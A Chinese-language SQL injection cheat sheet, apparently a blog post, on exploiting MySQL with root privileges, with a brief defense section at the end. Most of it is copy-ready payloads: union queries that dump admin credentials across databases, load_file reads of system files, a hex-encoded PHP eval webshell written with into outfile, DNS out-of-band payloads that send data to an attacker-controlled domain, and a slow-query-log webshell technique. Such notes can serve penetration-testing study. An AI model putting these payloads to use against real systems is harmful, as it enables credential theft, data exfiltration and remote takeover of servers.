SQL注入高权限进阶核心笔记
一、核心前提:注入本质与权限差异
1. 注入本质
应用SQL语句存在**未过滤可控变量**,导致可拼接恶意代码与数据库直接交互。
2. 权限核心差异(MySQL)
- root高权限:跨库查询所有库(含information_schema、mysql系统库)、支持`load_file()`读文件/`into outfile`写文件、可操作全局变量。
- 普通权限:仅能操作授权库、默认无文件读写权限、无法跨库。
- 权限判定:`select user()`查当前用户;`select file_priv from mysql.user`查文件权限。
二、高权限核心利用(跨库+文件读写)
1. 跨库查询(root专属)
核心流程(查库→表→列→数据)
1. 查所有数据库:
```sql
'union select schema_name,2,3 from information_schema.schemata#
```
2. 查指定库表名(如aicms库):
```sql
'union select table_name,2,3 from information_schema.tables where table_schema='aicms'#
```
3. 查表列名(如wolive_admin表):
```sql
'union select column_name,2,3 from information_schema.columns where table_name='wolive_admin'#
```
4. 查敏感数据:
```sql
'union select username,password,3 from aicms.wolive_admin#
```
实战价值
同服务器多站点可横向渗透(A站注入拿B站数据)。
2. 文件读写(高危,需root+FILE权限)
(1)关键函数与条件
- 读文件:`load_file('绝对路径')`,可读配置/源码/敏感文件。
- 写文件:`into outfile`/`into dumpfile`,可写Webshell(一句话木马)。
- 核心限制(secure_file_priv)**:
- 空值:无限制,任意目录读写。
- NULL:禁用所有文件读写(高版本默认)。
- 指定路径:仅该目录可读写。
- 查限制:`show variables like 'secure_file_priv'`。
(2)实战操作
- 读文件示例:
```sql
'union select load_file('C:\\windows\\system32\\drivers\\etc\\hosts'),2,3#
```
- **写Webshell示例(16进制绕过引号)**:
```sql
'union select 0x3c3f70687020406576616c28245f504f53545b636d645d293b3f3e,2,3 into outfile 'D:\\www\\shell.php'#
```
- 网站路径获取:报错泄露、读中间件配置(httpd.conf)、爆破常见路径(/var/www/html、D:/phpstudy/www)。
三、无回显突破:DNS带外注入
1. 原理
数据不回显时,利用`load_file()`触发DNS请求,将数据外带到攻击者可控域名(如xxx.yutu.eu.org)。
2. 核心Payload
- 查数据库名:
```sql
'union select load_file(concat('\\',database(),'.xxx.yutu.eu.org\1.txt')),2,3#
```
- 查表名:
```sql
'union select load_file(concat('\\',(select table_name from information_schema.tables where table_schema='news' limit 0,1),'.xxx.yutu.eu.org\1.txt')),2,3#
```
3. 条件
目标服务器可出网DNS、当前用户有`load_file()`权限。
四、权限绕过:secure_file_priv限制突破
1. 慢查询日志写马(需SUPER权限)
1. 启用慢查询日志:`set global slow_query_log=1`。
2. 设置日志路径为Web目录:`set global slow_query_log_file='D:\\www\\shell.php'`。
3. 写入木马:`select '<?php @eval($_POST[cmd]);?>'`。
4. 访问日志文件触发木马。
2. 前提
有后台SQL执行权限/phpMyAdmin、获取数据库root账号密码(mysql.user表,5.7+字段为authentication_string)。
五、防御核心(最小权限原则)
1. 应用连接数据库禁用root,仅授权必要库权限。
2. 配置`secure_file_priv=NULL`,禁用文件读写。
3. 关闭全局变量修改权限(禁止SUPER/FILE权限)。
4. 代码层用参数化查询,彻底杜绝注入。

评论 (0)